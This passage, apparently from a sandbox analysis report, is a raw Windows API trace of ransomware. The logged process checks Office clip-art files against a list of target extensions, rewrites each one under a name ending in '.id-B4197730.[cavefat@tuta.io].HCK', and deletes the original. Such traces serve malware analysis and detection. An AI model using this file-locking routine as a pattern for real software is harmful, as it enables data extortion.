Office\\root\\CLIPART\\PUB60COR\\J0200611.WMF") returned 68 [0170.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200611.WMF") returned 68 [0170.792] lstrlenW (lpString=".doc") returned 4 [0170.792] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.792] lstrlenW (lpString=".docx") returned 5 [0170.792] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0170.792] lstrlenW (lpString=".pdf") returned 4 [0170.793] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.793] lstrlenW (lpString=".xls") returned 4 [0170.793] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.793] lstrlenW (lpString=".xlsx") returned 5 [0170.793] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0170.793] lstrlenW (lpString=".ppt") returned 4 [0170.793] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200611.WMF") returned 68 [0170.793] lstrlenW (lpString=".zip") returned 4 [0170.793] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.793] lstrlenW (lpString=".rar") returned 4 [0170.793] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.793] lstrlenW (lpString=".bz2") returned 4 [0170.793] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.793] lstrlenW (lpString=".7z") returned 3 [0170.793] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200611.WMF") returned 68 [0170.793] lstrlenW (lpString=".dbf") returned 4 [0170.793] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200611.WMF") returned 68 [0170.793] lstrlenW (lpString=".1cd") returned 4 [0170.793] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200611.WMF") returned 68 [0170.793] lstrlenW (lpString=".jpg") returned 4 [0170.793] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.793] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.793] lstrlenW (lpString="J0212601.WMF") returned 12 [0170.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212601.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212601.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0170.800] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=9676) returned 1 [0170.800] CloseHandle (hObject=0x39c) returned 1 [0170.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212601.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212601.wmf")) returned 0x220 [0170.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212601.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212601.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212601.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212601.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0170.808] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.808] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212601.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212601.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0170.814] GetLastError () returned 0x0 [0170.814] ReadFile (in: hFile=0x2ec, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x25cc, lpOverlapped=0x0) returned 1 [0170.815] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x25d0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x25d0, lpOverlapped=0x0) returned 1 [0170.816] ReadFile (in: hFile=0x2ec, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.816] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.816] SetEndOfFile (hFile=0x370) returned 1 [0170.818] CloseHandle (hObject=0x370) returned 1 [0170.820] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.820] SetEndOfFile (hFile=0x2ec) returned 1 [0170.823] CloseHandle (hObject=0x2ec) returned 1 [0170.826] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212601.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.826] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212601.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212601.wmf")) returned 1 [0170.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212601.WMF") returned 68 [0170.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212601.WMF") returned 68 [0170.828] lstrlenW (lpString=".doc") returned 4 [0170.828] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.828] lstrlenW (lpString=".docx") returned 5 [0170.828] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0170.828] lstrlenW (lpString=".pdf") returned 4 [0170.829] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.829] lstrlenW (lpString=".xls") returned 4 [0170.829] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.829] lstrlenW (lpString=".xlsx") returned 5 [0170.829] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0170.829] lstrlenW (lpString=".ppt") returned 4 [0170.829] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212601.WMF") returned 68 [0170.829] lstrlenW (lpString=".zip") returned 4 [0170.829] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.829] lstrlenW (lpString=".rar") returned 4 [0170.829] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.829] lstrlenW (lpString=".bz2") returned 4 [0170.829] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.829] lstrlenW (lpString=".7z") returned 3 [0170.829] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212601.WMF") returned 68 [0170.829] lstrlenW (lpString=".dbf") returned 4 [0170.829] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212601.WMF") returned 68 [0170.829] lstrlenW (lpString=".1cd") returned 4 [0170.829] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212601.WMF") returned 68 [0170.829] lstrlenW (lpString=".jpg") returned 4 [0170.829] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212601.WMF") returned 68 [0170.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212601.WMF") returned 68 [0170.829] lstrlenW (lpString=".doc") returned 4 [0170.829] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.829] lstrlenW (lpString=".docx") returned 5 [0170.829] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0170.829] lstrlenW (lpString=".pdf") returned 4 [0170.829] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.829] lstrlenW (lpString=".xls") returned 4 [0170.829] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.829] lstrlenW (lpString=".xlsx") returned 5 [0170.829] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0170.829] lstrlenW (lpString=".ppt") returned 4 [0170.829] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212601.WMF") returned 68 [0170.829] lstrlenW (lpString=".zip") returned 4 [0170.829] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.829] lstrlenW (lpString=".rar") returned 4 [0170.829] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.830] lstrlenW (lpString=".bz2") returned 4 [0170.830] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.830] lstrlenW (lpString=".7z") returned 3 [0170.830] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212601.WMF") returned 68 [0170.830] lstrlenW (lpString=".dbf") returned 4 [0170.830] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212601.WMF") returned 68 [0170.830] lstrlenW (lpString=".1cd") returned 4 [0170.830] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212601.WMF") returned 68 [0170.830] lstrlenW (lpString=".jpg") returned 4 [0170.830] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.830] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.830] lstrlenW (lpString="J0213243.WMF") returned 12 [0170.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213243.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0213243.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0170.835] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=2652) returned 1 [0170.835] CloseHandle (hObject=0x2ec) returned 1 [0170.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213243.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0213243.wmf")) returned 0x220 [0170.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213243.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0213243.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213243.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0213243.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0170.842] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.843] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213243.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0213243.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0170.849] GetLastError () returned 0x0 [0170.849] ReadFile (in: hFile=0x2ec, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xa5c, lpOverlapped=0x0) returned 1 [0170.851] WriteFile (in: hFile=0x30c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xa60, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xa60, lpOverlapped=0x0) returned 1 [0170.852] ReadFile (in: hFile=0x2ec, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.852] WriteFile (in: hFile=0x30c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.852] SetEndOfFile (hFile=0x30c) returned 1 [0170.855] CloseHandle (hObject=0x30c) returned 1 [0170.856] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.856] SetEndOfFile (hFile=0x2ec) returned 1 [0170.861] CloseHandle (hObject=0x2ec) returned 1 [0170.863] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213243.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.863] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213243.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0213243.wmf")) returned 1 [0170.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213243.WMF") returned 68 [0170.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213243.WMF") returned 68 [0170.866] lstrlenW (lpString=".doc") returned 4 [0170.866] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.866] lstrlenW (lpString=".docx") returned 5 [0170.866] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0170.866] lstrlenW (lpString=".pdf") returned 4 [0170.866] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.866] lstrlenW (lpString=".xls") returned 4 [0170.866] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.866] lstrlenW (lpString=".xlsx") returned 5 [0170.866] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0170.866] lstrlenW (lpString=".ppt") returned 4 [0170.866] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213243.WMF") returned 68 [0170.866] lstrlenW (lpString=".zip") returned 4 [0170.866] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.866] lstrlenW (lpString=".rar") returned 4 [0170.866] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.867] lstrlenW (lpString=".bz2") returned 4 [0170.867] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.867] lstrlenW (lpString=".7z") returned 3 [0170.867] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213243.WMF") returned 68 [0170.867] lstrlenW (lpString=".dbf") returned 4 [0170.867] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213243.WMF") returned 68 [0170.867] lstrlenW (lpString=".1cd") returned 4 [0170.867] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213243.WMF") returned 68 [0170.867] lstrlenW (lpString=".jpg") returned 4 [0170.867] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213243.WMF") returned 68 [0170.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213243.WMF") returned 68 [0170.867] lstrlenW (lpString=".doc") returned 4 [0170.867] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.867] lstrlenW (lpString=".docx") returned 5 [0170.867] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0170.867] lstrlenW (lpString=".pdf") returned 4 [0170.867] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.867] lstrlenW (lpString=".xls") returned 4 [0170.867] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.867] lstrlenW (lpString=".xlsx") returned 5 [0170.867] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0170.867] lstrlenW (lpString=".ppt") returned 4 [0170.867] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213243.WMF") returned 68 [0170.867] lstrlenW (lpString=".zip") returned 4 [0170.867] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.867] lstrlenW (lpString=".rar") returned 4 [0170.867] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.867] lstrlenW (lpString=".bz2") returned 4 [0170.867] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.867] lstrlenW (lpString=".7z") returned 3 [0170.867] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213243.WMF") returned 68 [0170.867] lstrlenW (lpString=".dbf") returned 4 [0170.867] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213243.WMF") returned 68 [0170.867] lstrlenW (lpString=".1cd") returned 4 [0170.867] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213243.WMF") returned 68 [0170.868] lstrlenW (lpString=".jpg") returned 4 [0170.868] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.868] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.868] lstrlenW (lpString="J0215070.WMF") returned 12 [0170.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215070.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215070.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0170.873] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=11628) returned 1 [0170.873] CloseHandle (hObject=0x2ec) returned 1 [0170.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215070.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215070.wmf")) returned 0x220 [0170.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215070.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215070.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215070.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215070.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0170.876] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.877] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215070.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215070.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0170.882] GetLastError () returned 0x0 [0170.882] ReadFile (in: hFile=0x2ec, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x2d6c, lpOverlapped=0x0) returned 1 [0170.884] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0170.885] ReadFile (in: hFile=0x2ec, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.885] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.885] SetEndOfFile (hFile=0x370) returned 1 [0170.888] CloseHandle (hObject=0x370) returned 1 [0170.890] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.890] SetEndOfFile (hFile=0x2ec) returned 1 [0170.895] CloseHandle (hObject=0x2ec) returned 1 [0170.897] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215070.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.897] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215070.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215070.wmf")) returned 1 [0170.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215070.WMF") returned 68 [0170.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215070.WMF") returned 68 [0170.900] lstrlenW (lpString=".doc") returned 4 [0170.900] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.900] lstrlenW (lpString=".docx") returned 5 [0170.900] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0170.900] lstrlenW (lpString=".pdf") returned 4 [0170.900] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.900] lstrlenW (lpString=".xls") returned 4 [0170.900] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.900] lstrlenW (lpString=".xlsx") returned 5 [0170.900] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0170.900] lstrlenW (lpString=".ppt") returned 4 [0170.900] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215070.WMF") returned 68 [0170.900] lstrlenW (lpString=".zip") returned 4 [0170.900] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.900] lstrlenW (lpString=".rar") returned 4 [0170.900] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.900] lstrlenW (lpString=".bz2") returned 4 [0170.900] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.900] lstrlenW (lpString=".7z") returned 3 [0170.900] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215070.WMF") returned 68 [0170.900] lstrlenW (lpString=".dbf") returned 4 [0170.900] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215070.WMF") returned 68 [0170.900] lstrlenW (lpString=".1cd") returned 4 [0170.900] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215070.WMF") returned 68 [0170.900] lstrlenW (lpString=".jpg") returned 4 [0170.900] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215070.WMF") returned 68 [0170.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215070.WMF") returned 68 [0170.900] lstrlenW (lpString=".doc") returned 4 [0170.900] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.900] lstrlenW (lpString=".docx") returned 5 [0170.900] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0170.900] lstrlenW (lpString=".pdf") returned 4 [0170.900] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 